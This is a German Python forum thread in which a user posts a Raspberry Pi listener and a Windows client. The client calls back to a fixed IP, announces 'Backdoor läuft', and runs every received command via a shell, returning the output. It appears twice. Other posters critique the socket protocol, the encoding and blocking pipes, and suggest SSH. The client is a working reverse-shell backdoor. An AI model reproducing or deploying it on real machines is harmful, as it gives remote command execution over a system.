Seite 1 von 1
Befehle über sockets
Verfasst: Montag 29. Juli 2019, 08:03
von Fire Spike
Hallo habe mir zwei programme geschrieben, sender und empfänger.
der sender ist mein raspberry pi, der empfänger ein windows 10.
Es funktioniert alles gut, aber wenn ich "start firefox" oder MSG * Hallo sende bleibt der empfänger einfach stehen wie kann ich ein fenster öffnen dass der empfänger einfach weiterläuft?
ich las schon hunderte webseiten aber fand keine lösung.
ich hoffe ihr könnt mir helfen.
lg Fire Spike
sender:
Code: Alles auswählen
import socket
import sys
host = ''
port = 5756
mainloop = True
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Verbindung mit " + addr[0])
data = connection.recv(2048).decode()
print(data)
while mainloop == True:
cmd = input("Befehl: ")
connection.send(cmd.encode())
data = connection.recv(2048).decode("cp850")
if data == "qt_abbrechen":
print("Verbindung getrennt")
mainloop = False
else:
print(data)
connection.close()
empfänger:
Code: Alles auswählen
import socket
import subprocess
import sys
host = '192.168.178.45'
port = 5756
abbrechen = "qt_abbrechen"
send_ok = "Backdoor läuft."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(send_ok.encode())
while True:
data = s.recv(2048).decode()
if data == "quit":
s.send(abbrechen.encode("cp850"))
sys.exit()
else:
proc = subprocess.Popen(data,
shell=True,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout = proc.stdout.read()
stderr = proc.stderr.read()
s.send(stdout + stderr)
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 08:43
von Sirius3
Wie bei 99.9999% der Beispiele die Du im Netz findest, ist auch dieser Socket-Code kaputt.
TCP ist ein Stream, das bedeutet, es ist ein Fluß an Bytes, und jedes recv kann 1 bis 2048 Bytes liefern, also in Deinem Beispiel ein "q" oder "qu" oder "qui", etc. oder aber auch ein "start firefoxquit". Für ein sinnvolles Protokoll brauchst Du eine Kennung, wann eine Nachricht komplett ist. Bei Deinem einfachen Fall würde sich das Zeileendezeichen anbieten.
Beim Senden der Rückgabe der Programme kann alles mögliche kommen, da ist dann ein etwas komplizierteres Protokoll nötig.
Ebenso kann `send` ein bis alle Bytes senden, garantiert aber nur, das mindestens ein Byte gesendet wird. Der Rest kann verloren gehen, ohne dass Du es merkst.
Warum wird die erste "Nachricht" mit dem Standardencoding gesendet bzw. Empfangen (was bei den bei Dir beteiligten Systemen nicht das selbe ist), die restlichen aber mit dem exotischen cp850?
Der Aufruf des externen Programms ist dann auch noch kaputt, weil es blockiert, sobald der stderr-Puffer voll ist, oder irgendeine Eingabe erwartet wird.
Also erster Schritt wäre, zu lernen, wie man ein ordentliches TCP-Protokoll schreibt. Gute Tutorials habe ich dazu noch nicht gefunden, aber es hilft, sich bekannte Protokolle anzuschauen, um zu sehen, wie die das lösen. Nicht gut, aber lehrreich sind z.B. SMTP, FTP, HTTP, etc.
Wenn Du dann noch asynchron das Ergebnis verschiedener Programm zurückliefern willst, wird das zu verwendende Protokoll noch eine Stufe komplizierter.
Falls Du nur ein funktionierendes System suchst, warum nutzt Du nicht ein fertiges Messaging-System?
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 09:02
von Fire Spike
Code: Alles auswählen
Warum wird die erste "Nachricht" mit dem Standardencoding gesendet bzw. Empfangen (was bei den bei Dir beteiligten Systemen nicht das selbe ist), die restlichen aber mit dem exotischen cp850?
Das mache ich weil die windows beehlszeile diese kodierung hat.
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 09:07
von __blackjack__
@Fire Spike: Das ist keine sinnvolle Begründung. Was das eine System als Kodierung in einer Konsole verwendet hat nichts damit zu tun als was das für die Übertragung zwischen den Systemen kodiert wird. Da sollte man etwas nehmen was alles kodieren kann, beispielsweise UTF-8.
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 12:12
von Fire Spike
Das kodieren und die überprüfung ob der text vollständig ist habe ich geschafft

, aber gibt es eine lösung ein programm zu öffenen das das script
weiterläuft? 
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 12:43
von Sirius3
Fire Spike hat geschrieben: Montag 29. Juli 2019, 12:12
Das kodieren und die überprüfung ob der text vollständig ist habe ich geschafft
Das bezweifle ich mal. Sich in so ein komplexes Thema innerhalb von drei Stunden einzuarbeiten und eine Lösung zu implementieren ist sehr sportlich.
Dann ist aber ja der Rest auch kein Problem für Dich:
1. definiere ein asynchrones Protokoll.
2. lagere den Aufruf der externen Prozesse in einen Thread aus.
3. schreibe einen Eventloop, der gleichzeitig auf neue Befehle als auch auf Ausgaben der Prozess-Threads horcht und bei Ereignissen entsprechend reagiert.
4. Scheibe den Client auch so um, dass er damit umgehen kann.
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 12:55
von __blackjack__
Alternativ zu Threads könnte man sich auch ``async``/``await`` und `asyncio` aus der Standardbibliothek oder `curio` anschauen.
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 13:04
von Fire Spike
das ist der code da ihr ja so unsicher seit
sender:
Code: Alles auswählen
import socket
import sys
host = ''
port = 5756
mainloop = True
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
connection, addr = s.accept()
print("Verbindung mit " + addr[0])
data = connection.recv(2048).decode()
print(data)
while mainloop == True:
cmd = input("Befehl: ")
connection.send(cmd.encode())
data = connection.recv(2048).decode('cp850').encode().decode()
if data == "qt_abbrechen":
print("Verbindung getrennt")
mainloop = False
else:
print(data)
connection.close()
empfänger:
Code: Alles auswählen
import socket
import subprocess
import sys
host = '192.168.178.45'
name = socket.gethostname()
port = 5756
abbrechen = "qt_abbrechen"
send_ok = "Gerätename ist " + name + ".\nBackdoor läuft."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(send_ok.encode())
while True:
data = s.recv(2048).decode()
if data == "quit":
s.send(abbrechen.encode())
sys.exit()
else:
proc = subprocess.Popen(data,
shell=True,
stdout=subprocess.PIPE,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE)
stdout = proc.stdout.read()
stderr = proc.stderr.read()
s.send(stdout + stderr + str("\nNachricht ist vollständig").encode("cp850"))
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 13:18
von Sirius3
Ich sehe an dem neuen Code jetzt nichts, was die Probleme, die ich genannt habe, irgendwie behebt.
Das Encoding-Chaos ist sogar noch ein bißchen größer geworden.
Was ist der Sinn, erst etwas zu decodieren um es dann wieder zu encodieren, und danach wieder zu decodieren?
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 13:21
von Fire Spike
Sag mir doch wie ich es besser machen kann.
Re: Befehle über sockets
Verfasst: Montag 29. Juli 2019, 13:49
von __blackjack__
@Fire Spike: Das ist nichts was mal eben so einfach geht. Besser machen wäre keine Socketprogrammierung selbst machen. Mit `paramiko` kann man beispielsweise eine SSH-Verbindung erstellen. Das dürfte einfacher und auch sicherer sein, als sich da auf unterster Ebene selbst etwas zu basteln. Da hast Du nämlich die fummelige Socketprogrammierung und dann noch nebenläufige Programmierung am Hals.
Re: Befehle über sockets
Verfasst: Dienstag 30. Juli 2019, 09:40
von Fire Spike
Blackjack könntest du mir erklären wie ich den text kodieren kann?
Ich möchte ihn als utf8 empfangen.
Re: Befehle über sockets
Verfasst: Dienstag 30. Juli 2019, 10:09
von __deets__
Du schreibst doch encode('cp850'). Dann schreib eben .encode('utf-8').